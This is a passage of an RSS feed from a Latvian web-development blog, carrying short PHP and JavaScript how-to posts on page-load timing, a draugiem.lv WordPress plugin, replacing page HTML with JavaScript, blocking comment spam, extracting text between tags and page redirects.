$mtime = $mtime[1] + $mtime[0];<br />
$endtime = $mtime;<br />
$totaltime = ($endtime - $starttime);<br />
echo "Lapa tika aprēķināta ".$totaltime." sekundēs";</p>
<p>?&gt;</code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/ietekmesanas-maksla' rel='bookmark' title='Grāmata: Ietekmēšanas māksla'>Grāmata: Ietekmēšanas māksla</a></li>
<li><a href='http://dll.lv/gadas-ari-ta-vai-hackeri-uzbruk-hayley-williams' rel='bookmark' title='Gadās arī tā vai hackeri uzbrūk Hayley Williams'>Gadās arī tā vai hackeri uzbrūk Hayley Williams</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/5050-aizraujosa-informatika-vai-kapec-nestrada-dubultosanas-metode/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Draugiem.lv pase priekš wordpress</title>
		<link>http://dll.lv/draugiem-lv-pase-prieks-wordpress?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=draugiem-lv-pase-prieks-wordpress</link>
		<comments>http://dll.lv/draugiem-lv-pase-prieks-wordpress#comments</comments>
		<pubDate>Tue, 20 Apr 2010 05:53:52 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[izstrāde]]></category>
		<category><![CDATA[paplašinam wordpress]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[web izstrāde]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=932</guid>
		<description><![CDATA[Šorīt no rīta sagribējās izdarīt kaut ko paliekošu un sabiedrībai interesantu. Pirmais, kas ienāca prāta bija uzrakstīt plugin priekš wordpress, kas ļautu ievietot komentārus ar draugiem.lv pasi. Tā apņēmības un entuziasma pilns jau ķēros pie darba, kad ienāca prātā iemest &#8230; <a href="http://dll.lv/draugiem-lv-pase-prieks-wordpress">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/spams-wordpress-komentaros' rel='bookmark' title='Spams wordpress komentāros'>Spams wordpress komentāros</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Šorīt no rīta sagribējās izdarīt kaut ko paliekošu un sabiedrībai interesantu.</p>
<p>Pirmais, kas ienāca prāta bija uzrakstīt plugin priekš wordpress, kas ļautu ievietot komentārus ar draugiem.lv pasi.</p>
<p>Tā apņēmības un entuziasma pilns jau ķēros pie darba, kad ienāca prātā iemest google vai kāds meistars jau nav pacenties un vai netaisos izgudrot divriteni otrreiz..</p>
<p>Par nožēlu priekš manis pirmais rezultāts ievadot <a title="draugiem.lv pase wordpress" href="http://www.google.lv/search?hl=lv&amp;rlz=1G1GGLQ_ENLV290&amp;q=draugiem.lv+pase+wordpress">draugiem.lv pase wordpress</a> izlec Ģirta Upīša rakstītais <a title="plugin" href="http://wordpress.org/extend/plugins/draugiem-pase/" target="_blank">plugins.</a></p>
<p>Žēl..</p>
<p>Apskatot pēdējās relīzes (pagaidām divas 1.0 un 1.1) datumu- 2010.04.13 izdaru secinājumu, ka nokavēju tikai nedaudz.</p>
<p>Kāpēc šī ideja neienāca 1 mēnesi atpakaļ?</p>
<p>Nekas domāsim tālāk kā izpausties brīvos brīžos.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/spams-wordpress-komentaros' rel='bookmark' title='Spams wordpress komentāros'>Spams wordpress komentāros</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/draugiem-lv-pase-prieks-wordpress/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</title>
		<link>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript</link>
		<comments>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript#comments</comments>
		<pubDate>Tue, 29 Dec 2009 09:25:23 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[kods]]></category>
		<category><![CDATA[piemērs]]></category>
		<category><![CDATA[pieredze]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=778</guid>
		<description><![CDATA[Veidojot vienu lapu radās neikdienišķa situācija- bija nepieciešams izmainīt jau php izveidoto kodu un aizstāt to ar citu, ja izvadītajā html kodā ir sastopams cits unikāls kods. Kā vienīgais risinājums man ienāca prātā javascript. Iespējams kādam tas liksies gaužām vienkārši, &#8230; <a href="http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/iegut-tekoso-datumu-cmd' rel='bookmark' title='Iegūt tekošo datumu izmantojot cmd'>Iegūt tekošo datumu izmantojot cmd</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Veidojot vienu lapu radās neikdienišķa situācija- bija nepieciešams izmainīt jau php izveidoto kodu un aizstāt to ar citu, ja izvadītajā html kodā ir sastopams cits unikāls kods.</p>
<p>Kā vienīgais risinājums man ienāca prātā javascript.</p>
<p>Iespējams kādam tas liksies gaužām vienkārši, tomēr man, kas ir &#8220;uz jūs&#8221; ar javascript izveidot šīs pāris rindiņas bija diezgan ķepīgi un laikietilpīgi.</p>
<p>Nu tad, lūk, pati funkcija un paskaidrojumi:<code></code></p>
<p><code></p>
<blockquote><p>&lt;script type="text/javascript"&gt;</p>
<p>//izsaucam funkciju pie ielādes</p>
<p>window.onload=gethtml;<span id="more-778"></span></p>
<p>function gethtml() {</p>
<p>//mainīgajam str nododam visas lapas html kodu</p>
<p>var str = document.body.innerHTML;</p>
<p>str.toString();</p>
<p>//pārbaudām vai ielasītajā mainīgajā str ir kods, kas nozīmēs, ka ir jāaizstāj rinda ar citu</p>
<p>var matchPos1 = str.search("id_menu_3_3");</p>
<p>//paskatāmies iegūto rezultātu- funkcija atgriež vērtību -1 , ja tas nav sastopams. Pretējā gadījumā atgriež kurā vietā ir atrasts.</p>
<p>if(matchPos1 != -1){</p>
<p>//mainīgajā str1 ierakstām tekstu, kuru ir jāaizstāj</p>
<p>var str1 = '&lt;a href="/test/index.php/d"&gt;';</p>
<p>//mainīgajā str2 irakstām tekstu, ar kuru ir jāaizstāj</p>
<p>var str2 = '&lt;a href="/test/index.php/d"&gt;';</p>
<p>veicam aizvietošanu</p>
<p>var str3 = str.replace(str1,str2);</p>
<p>//ja ir nepieciešams testa pēc pārbaudām vai ir aizvietojies</p>
<p>//alert(str3);</p>
<p>//izvadām rezultātu</p>
<p>document.body.innerHTML = str3;</p>
<p>}</p>
<p>//ja meklējamais kods nav atrasts, tad nedaram neko</p>
<p>}</p>
<p>&lt;/script&gt;</p></blockquote>
<p></code></p>
<p>Protams, aizvietošana nenotiks, ja pārlūkā būs atslēgts javascript <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Šo funkciju, nedaudz pamainot, var pielāgot daudz biežāk sastopamai situācijai, kad nepieciešams vienkārši aizstāt vienu rindu ar otru.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/iegut-tekoso-datumu-cmd' rel='bookmark' title='Iegūt tekošo datumu izmantojot cmd'>Iegūt tekošo datumu izmantojot cmd</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Atbrīvojamies no komentāru spama</title>
		<link>http://dll.lv/atbrivojamies-no-komentaru-spama?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=atbrivojamies-no-komentaru-spama</link>
		<comments>http://dll.lv/atbrivojamies-no-komentaru-spama#comments</comments>
		<pubDate>Tue, 08 Dec 2009 09:24:42 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[spams]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=751</guid>
		<description><![CDATA[WordPress piedāvā iebūvētu un vienkāršu veidu kā atbrīvoties no spama- Akisment, kura spēku var palielināt sadaļā: Iestatījumi-&#62;Diskusijas ierakstot papildus frāzes vai IP adreses, kas liecinās par spamu. Dažas adreses, kuras nomocīja mani: 194.8.75.149 194.8.75.163 87.118.118.133 194.8.74.220 92.112. 92.113. Bet pavisam &#8230; <a href="http://dll.lv/atbrivojamies-no-komentaru-spama">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-nevajadziga-registresanas-spama' rel='bookmark' title='Atbrīvojamies no nevajadzīgā reģistrēšanās spama'>Atbrīvojamies no nevajadzīgā reģistrēšanās spama</a></li>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">WordPress piedāvā iebūvētu un vienkāršu veidu kā atbrīvoties no spama- Akisment, kura spēku var palielināt sadaļā:</p>
<p style="text-align: justify;"><strong>Iestatījumi-&gt;Diskusijas</strong> ierakstot papildus frāzes vai IP adreses, kas liecinās par spamu. Dažas adreses, kuras nomocīja mani:</p>
<blockquote>
<p style="text-align: justify;"><em>194.8.75.149</em></p>
<p style="text-align: justify;"><em>194.8.75.163<span id="more-751"> </span></em></p>
<p><em> </em></p>
<p style="text-align: justify;"><em>87.118.118.133</em></p>
<p style="text-align: justify;"><em>194.8.74.220</em></p>
<p style="text-align: justify;"><em>92.112.</em></p>
<p style="text-align: justify;"><em>92.113.</em></p>
</blockquote>
<p style="text-align: justify;">Bet pavisam nejauši uzdūros vecam <a href="http://pods.lv/2008/06/20/ka_tikt_gala_ar_komentaru_spamu_bez_akismet_palidzibas/" target="_blank">pods.lv</a> rakstam, kurā vienkārši ieteikts ar javascript palīdzību pamainīt komentu saņemšanas lapas adresi. Piemērs rakstīts wordpress, bet to tik pat vienkārši var pielāgot jebkurai citai lapai.</p>
<p style="text-align: justify;">
<p>Kas tādā veidā tiks izdarīts?</p>
<p>Ja nebūs ieslēgts javascript atbalsts, tad ievadot komentāru tas tiks padots citai lapai, piemēram, /spaamms/ nevis comments.php. <em>Tas sniedz rezultātu, jo daudzām spamotāju sistēmām nav ieslēgts javascript.</em></p>
<p>Lai izskatītos korektāk var arī  izveidot  šādu lapu ( dll.lv/spaammss), kurā populārzinātniski paskaidrotu, kas noticis.</p>
<p>Papildus tam pirms komentēšanas formas tiks  izvadīs paziņojumu, ka jābūt ieslēgtam javascript, lai komentētu.</p>
<p style="text-align: justify;">Lai to izdarītu atrodam wordpress templeita comments.php failu, kas atrodas “web root/wp-content/themes/temas_nosaukums/<span>comments.php”</span></p>
<p style="text-align: justify;">Atrodam šādu rindiņu:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>&lt;form action="&lt;?php echo get_option('siteurl'); ?&gt;<span>/wp-comments-post.php</span>” method=”post” id=”commentform”&gt;</p></blockquote>
<p></code></p>
<p style="text-align: justify;">un aizstājam to ar:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>&lt;form action="&lt;?php echo get_option('siteurl'); ?&gt;/spaamms/" method="post" id="commentform"&gt;</p>
<p>&lt;script type="text/javascript"&gt;</p>
<p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post.php";</p>
<p>&lt;/script&gt;</p>
<p>&lt;noscript&gt;</p>
<p>&lt;p&gt;&lt;strong class="postdate"&gt;Lai izmantotu koment&amp;#275;&amp;#353;anas iesp&amp;#275;ju, p&amp;#257;rl&amp;#363;k&amp;#257; j&amp;#257;b&amp;#363;t iesl&amp;#275;gtam JavaScript atbalstam!&lt;/strong&gt;. Kaut k&amp;#257; ta&amp;#269;u ir j&amp;#257;m&amp;#275;&amp;#291;ina c&amp;#299;n&amp;#299;ties ar koment&amp;#257;ru piedrazot&amp;#257;jiem.&lt;/p&gt;</p>
<p>&lt;/noscript&gt;</p></blockquote>
<p></code></p>
<p style="text-align: justify;">
<p style="text-align: justify;">Papildus tam, lai daži spamotāji pa taisno neievietotu komentārus, nomainīju komentāru apstrādājamā faila nosaukumu tai pašā failā:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post.php";</p></blockquote>
<p></code></p>
<p style="text-align: justify;">uz:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post_n123.php";</p></blockquote>
<p></code></p>
<p style="text-align: justify;">un, protams, tad arī pats komentāru apstrādājošais fails jāpārsauc- atrodas web root/wp-comments-posts.php uz wp-comments-post_n123.php</p>
<p style="text-align: justify;">Es tagad tiešām ceru, ka ar to pietiks…</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-nevajadziga-registresanas-spama' rel='bookmark' title='Atbrīvojamies no nevajadzīgā reģistrēšanās spama'>Atbrīvojamies no nevajadzīgā reģistrēšanās spama</a></li>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/atbrivojamies-no-komentaru-spama/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kā izgriezt simbolu no WEB lapas..</title>
		<link>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ka-izgriezt-simbolu-no-web-lapas</link>
		<comments>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas#comments</comments>
		<pubDate>Tue, 19 May 2009 18:06:51 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=541</guid>
		<description><![CDATA[Viena uzdevuma veikšanai vajadzēja izgriezt no mājaslapas un izvadīt simbolu virkni, kas atradīsies starp noteiktiem tagiem(kuri nav XML). Uz ātro neatradu gatavu risinājumu tāpēc uzrakstīju funkciju. Nepretendēju uz pašu asprātīgāko risinājumu, bet varbūt kādam noder.. function griezam($Content,$str_pirms,$str_pec){ $garums_pirms=strlen($str_pirms); $pec = &#8230; <a href="http://dll.lv/ka-izgriezt-simbolu-no-web-lapas">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Viena uzdevuma veikšanai vajadzēja izgriezt no mājaslapas un izvadīt simbolu virkni, kas atradīsies starp noteiktiem tagiem(kuri nav XML).<br />
Uz ātro neatradu gatavu risinājumu tāpēc uzrakstīju funkciju.<br />
Nepretendēju uz pašu asprātīgāko risinājumu, bet varbūt kādam noder..</p>
<blockquote><p>function griezam($Content,$str_pirms,$str_pec){</p>
<p>$garums_pirms=strlen($str_pirms);<br />
$pec = strstr($Content, $str_pirms);<br />
//nogriežam visu lidz sakumama<br />
//nomemam visu lidz firmai<br />
$pec= substr(&#8220;$pec&#8221;, $garums_pirms);<br />
//nogriežam<br />
$pec1=strstr($pec, $str_pec);</p>
<p>//saskaitam cik ir atlikusaja rinda un pirms nogriezt beigas<br />
$sk_pec=strlen($pec);<br />
$sk_pirms=strlen($pec1);</p>
<p>$sk=$sk_pec-$sk_pirms;</p>
<p>$rezultats=substr(&#8220;$pec&#8221;, 0,$sk);</p>
<p>echo &#8220;$rezultats&#8221;;<br />
}</p></blockquote>
<p>//ierakstam lapu no kuras gribam izgriezt kaut ko</p>
<p>$Content = file_get_contents(&#8220;http://dll.lv&#8221;);</p>
<p>//ierakstam stringu kas ir pirms vēlamā elementa. Piemers ir vienkārš, tai pat laikā tā vietā var būt piemēram &lt;div style=&#8221;color:#00FF00&#8243;&gt;,  galvenais, lai tas būtu pirmais unikālais un beidzas pirms vēlamā</p>
<p>$str_pirms=&#8217;&lt;title&gt;&#8217;;</p>
<p>//ierakstam stringu, kas ir pec velamā elementa</p>
<p>$str_pec = &#8216;&lt;/title&gt;&#8217;;</p>
<p>//izsaucam funkciju</p>
<p>griezam($Content,$str_pirms,$str_pec);</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lapas redirect</title>
		<link>http://dll.lv/lapas-redirect?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=lapas-redirect</link>
		<comments>http://dll.lv/lapas-redirect#comments</comments>
		<pubDate>Mon, 17 Nov 2008 12:52:20 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[redirect]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=278</guid>
		<description><![CDATA[Ja nepieciešams pārsūtīt uz citu lapu tās ielādes laikā, var izmantot php funkciju: &#60;? $URL="http://localhost/…"; header ("Location: $URL"); ?&#62; Taču gadījumos, kad jāaizsūta uz citurieni izpildāmā koda vidus daļā(pie noteiktiem notikumiem), nekas neatliek kā izsaukt javascript: echo “&#60;script language=\”javascript\”&#62;”; echo “window.location = &#8230; <a href="http://dll.lv/lapas-redirect">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/html-redirect' rel='bookmark' title='HTML REDIRECT SEO'>HTML REDIRECT SEO</a></li>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ja nepieciešams pārsūtīt uz citu lapu tās ielādes laikā, var izmantot php funkciju:</p>
<pre><code><span style="color: #000000;"><span style="color: #0000bb;">&lt;?
$URL</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"http://localhost/…"</span><span style="color: #007700;">;
</span><span style="color: #0000bb;">header </span><span style="color: #007700;">(</span><span style="color: #dd0000;">"Location: $URL"</span><span style="color: #007700;">);
</span></span></code></pre>
<p>?&gt;</p>
<p>Taču gadījumos, kad jāaizsūta uz citurieni izpildāmā koda vidus daļā(pie noteiktiem notikumiem), nekas neatliek kā izsaukt javascript:</p>
<p>echo “&lt;script language=\”javascript\”&gt;”;<br />
echo “window.location = \”http://localhost/…”;<br />
echo “&lt;/script&gt;”;</p>
<p>Tas gan nenostrādās, ja pārlūkā būs atslēgts javascript</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/html-redirect' rel='bookmark' title='HTML REDIRECT SEO'>HTML REDIRECT SEO</a></li>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/lapas-redirect/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

